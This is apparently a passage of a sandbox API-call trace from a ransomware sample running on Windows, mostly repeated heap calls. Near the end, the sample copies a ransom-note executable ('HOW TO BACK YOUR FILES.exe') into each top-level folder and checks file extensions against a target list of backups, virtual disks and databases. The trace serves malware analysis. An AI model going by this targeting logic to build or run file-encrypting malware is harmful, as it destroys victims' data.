RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c218 | out: hHeap=0x4f0000) returned 1 [0034.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c748 | out: hHeap=0x4f0000) returned 1 [0034.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c530 | out: hHeap=0x4f0000) returned 1 [0034.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c958 | out: hHeap=0x4f0000) returned 1 [0034.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508fd8 | out: hHeap=0x4f0000) returned 1 [0034.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0034.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0034.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0034.101] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0034.101] CloseHandle (hObject=0xf0) returned 1 [0034.101] CloseHandle (hObject=0xf8) returned 1 [0034.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509550 | out: hHeap=0x4f0000) returned 1 [0034.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0034.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0034.103] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0034.103] lstrcmpiW (lpString1="Config.Msi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.103] lstrcmpiW (lpString1="Config.Msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.103] lstrcmpiW (lpString1="Config.Msi", lpString2=".") returned 1 [0034.103] lstrcmpiW (lpString1="Config.Msi", lpString2="..") returned 1 [0034.103] lstrcmpiW (lpString1="Config.Msi", lpString2="windows") returned -1 [0034.103] lstrcmpiW (lpString1="Config.Msi", lpString2="bootmgr") returned 1 [0034.103] lstrcmpiW (lpString1="Config.Msi", lpString2="temp") returned -1 [0034.103] lstrcmpiW (lpString1="Config.Msi", lpString2="pagefile.sys") returned -1 [0034.104] lstrcmpiW (lpString1="Config.Msi", lpString2="boot") returned 1 [0034.104] lstrcmpiW (lpString1="Config.Msi", lpString2="ids.txt") returned -1 [0034.104] lstrcmpiW (lpString1="Config.Msi", lpString2="ntuser.dat") returned -1 [0034.104] lstrcmpiW (lpString1="Config.Msi", lpString2="perflogs") returned -1 [0034.104] lstrcmpiW (lpString1="Config.Msi", lpString2="MSBuild") returned -1 [0034.104] lstrlenW (lpString="Config.Msi") returned 10 [0034.104] lstrcpyW (in: lpString1=0x241e84e, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0034.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508fd8 [0034.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x509840 [0034.104] lstrcatW (in: lpString1="Config.Msi", lpString2="\\" | out: lpString1="Config.Msi\\") returned="Config.Msi\\" [0034.104] lstrcatW (in: lpString1="Config.Msi\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Config.Msi\\HOW TO BACK YOUR FILES.exe") returned="Config.Msi\\HOW TO BACK YOUR FILES.exe" [0034.104] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Config.Msi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\config.msi\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.107] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2=".") returned 1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="..") returned 1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="windows") returned -1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="bootmgr") returned 1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="temp") returned -1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="pagefile.sys") returned -1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="boot") returned 1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="ids.txt") returned -1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="ntuser.dat") returned -1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="perflogs") returned -1 [0034.107] lstrcmpiW (lpString1="Documents and Settings", lpString2="MSBuild") returned -1 [0034.107] lstrlenW (lpString="Documents and Settings") returned 22 [0034.107] lstrcpyW (in: lpString1=0x241e84e, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0034.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508ff0 [0034.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x509550 [0034.107] lstrcatW (in: lpString1="Documents and Settings", lpString2="\\" | out: lpString1="Documents and Settings\\") returned="Documents and Settings\\" [0034.107] lstrcatW (in: lpString1="Documents and Settings\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents and Settings\\HOW TO BACK YOUR FILES.exe") returned="Documents and Settings\\HOW TO BACK YOUR FILES.exe" [0034.107] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.110] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="windows") returned -1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="bootmgr") returned 1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="temp") returned -1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="pagefile.sys") returned -1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="boot") returned 1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="ids.txt") returned -1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="ntuser.dat") returned -1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="perflogs") returned -1 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2="MSBuild") returned -1 [0034.110] lstrlenW (lpString="hiberfil.sys") returned 12 [0034.110] lstrcpyW (in: lpString1=0x241e84e, lpString2="hiberfil.sys" | out: lpString1="hiberfil.sys") returned="hiberfil.sys" [0034.110] lstrlenW (lpString="hiberfil.sys") returned 12 [0034.110] lstrlenW (lpString="Athena865") returned 9 [0034.110] lstrcmpiW (lpString1="erfil.sys", lpString2="Athena865") returned 1 [0034.110] lstrlenW (lpString=".dll") returned 4 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".dll") returned 1 [0034.110] lstrlenW (lpString=".lnk") returned 4 [0034.110] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".lnk") returned 1 [0034.111] lstrlenW (lpString=".ini") returned 4 [0034.111] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".ini") returned 1 [0034.111] lstrlenW (lpString=".sys") returned 4 [0034.111] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".sys") returned 1 [0034.111] lstrlenW (lpString="hiberfil.sys") returned 12 [0034.111] lstrlenW (lpString="bak") returned 3 [0034.111] lstrcmpiW (lpString1="sys", lpString2="bak") returned 1 [0034.111] lstrlenW (lpString="ba_") returned 3 [0034.111] lstrcmpiW (lpString1="sys", lpString2="ba_") returned 1 [0034.111] lstrlenW (lpString="dbb") returned 3 [0034.111] lstrcmpiW (lpString1="sys", lpString2="dbb") returned 1 [0034.111] lstrlenW (lpString="vmdk") returned 4 [0034.111] lstrcmpiW (lpString1=".sys", lpString2="vmdk") returned -1 [0034.111] lstrlenW (lpString="rar") returned 3 [0034.111] lstrcmpiW (lpString1="sys", lpString2="rar") returned 1 [0034.111] lstrlenW (lpString="zip") returned 3 [0034.111] lstrcmpiW (lpString1="sys", lpString2="zip") returned -1 [0034.111] lstrlenW (lpString="tgz") returned 3 [0034.111] lstrcmpiW (lpString1="sys", lpString2="tgz") returned -1 [0034.111] lstrlenW (lpString="vbox") returned 4 [0034.111] lstrcmpiW (lpString1=".sys", lpString2="vbox") returned -1 [0034.111] lstrlenW (lpString="vdi") returned 3 [0034.111] lstrcmpiW (lpString1="sys", lpString2="vdi") returned -1 [0034.111] lstrlenW (lpString="vhd") returned 3 [0034.111] lstrcmpiW (lpString1="sys", lpString2="vhd") returned -1 [0034.111] lstrlenW (lpString="vhdx") returned 4 [0034.111] lstrcmpiW (lpString1=".sys", lpString2="vhdx") returned -1 [0034.111] lstrlenW (lpString="avhd") returned 4 [0034.111] lstrcmpiW (lpString1=".sys", lpString2="avhd") returned -1 [0034.111] lstrlenW (lpString="db") returned 2 [0034.111] lstrcmpiW (lpString1="ys", lpString2="db") returned 1 [0034.111] lstrlenW (lpString="db2") returned 3 [0034.111] lstrcmpiW (lpString1="sys", lpString2="db2") returned 1 [0034.111] lstrlenW (lpString="db3") returned 3 [0034.111] lstrcmpiW (lpString1="sys", lpString2="db3") returned 1 [0034.111] lstrlenW (lpString="dbf") returned 3 [0034.111] lstrcmpiW (lpString1="sys", lpString2="dbf") returned 1 [0034.111] lstrlenW (lpString="mdf") returned 3 [0034.112] lstrcmpiW (lpString1="sys", lpString2="mdf") returned 1 [0034.112] lstrlenW (lpString="mdb") returned 3 [0034.112] lstrcmpiW (lpString1="sys", lpString2="mdb") returned 1 [0034.112] lstrlenW (lpString="sql") returned 3 [0034.112] lstrcmpiW (lpString1="sys", lpString2="sql") returned 1 [0034.112] lstrlenW (lpString="sqlite") returned 6 [0034.112] lstrcmpiW (lpString1="il.sys", lpString2="sqlite") returned -1 [0034.112] lstrlenW (lpString="sqlite3") returned 7 [0034.112] lstrcmpiW (lpString1="fil.sys", lpString2="sqlite3") returned -1 [0034.112] lstrlenW (lpString="sqlitedb") returned 8 [0034.112] lstrcmpiW (lpString1="rfil.sys", lpString2="sqlitedb") returned -1 [0034.112] lstrlenW (lpString="xml") returned 3 [0034.112] lstrcmpiW (lpString1="sys", lpString2="xml") returned -1 [0034.112] lstrlenW (lpString="$er") returned 3 [0034.112] lstrcmpiW (lpString1="sys", lpString2="$er") returned 1 [0034.112] lstrlenW (lpString="4dd") returned 3 [0034.112] lstrcmpiW (lpString1="sys", lpString2="4dd") returned 1 [0034.112] lstrlenW (lpString="4dl") returned 3 [0034.112] lstrcmpiW (lpString1="sys", lpString2="4dl") returned 1 [0034.112] lstrlenW (lpString="^^^") returned 3 [0034.112] lstrcmpiW (lpString1="sys", lpString2="^^^") returned 1 [0034.112] lstrlenW (lpString="abs") returned 3 [0034.112] lstrcmpiW (lpString1="sys", lpString2="abs") returned 1 [0034.112] lstrlenW (lpString="abx") returned 3 [0034.112] lstrcmpiW (lpString1="sys", lpString2="abx") returned 1 [0034.112] lstrlenW (lpString="accdb") returned 5 [0034.112] lstrcmpiW (lpString1="l.sys", lpString2="accdb") returned 1 [0034.112] lstrlenW 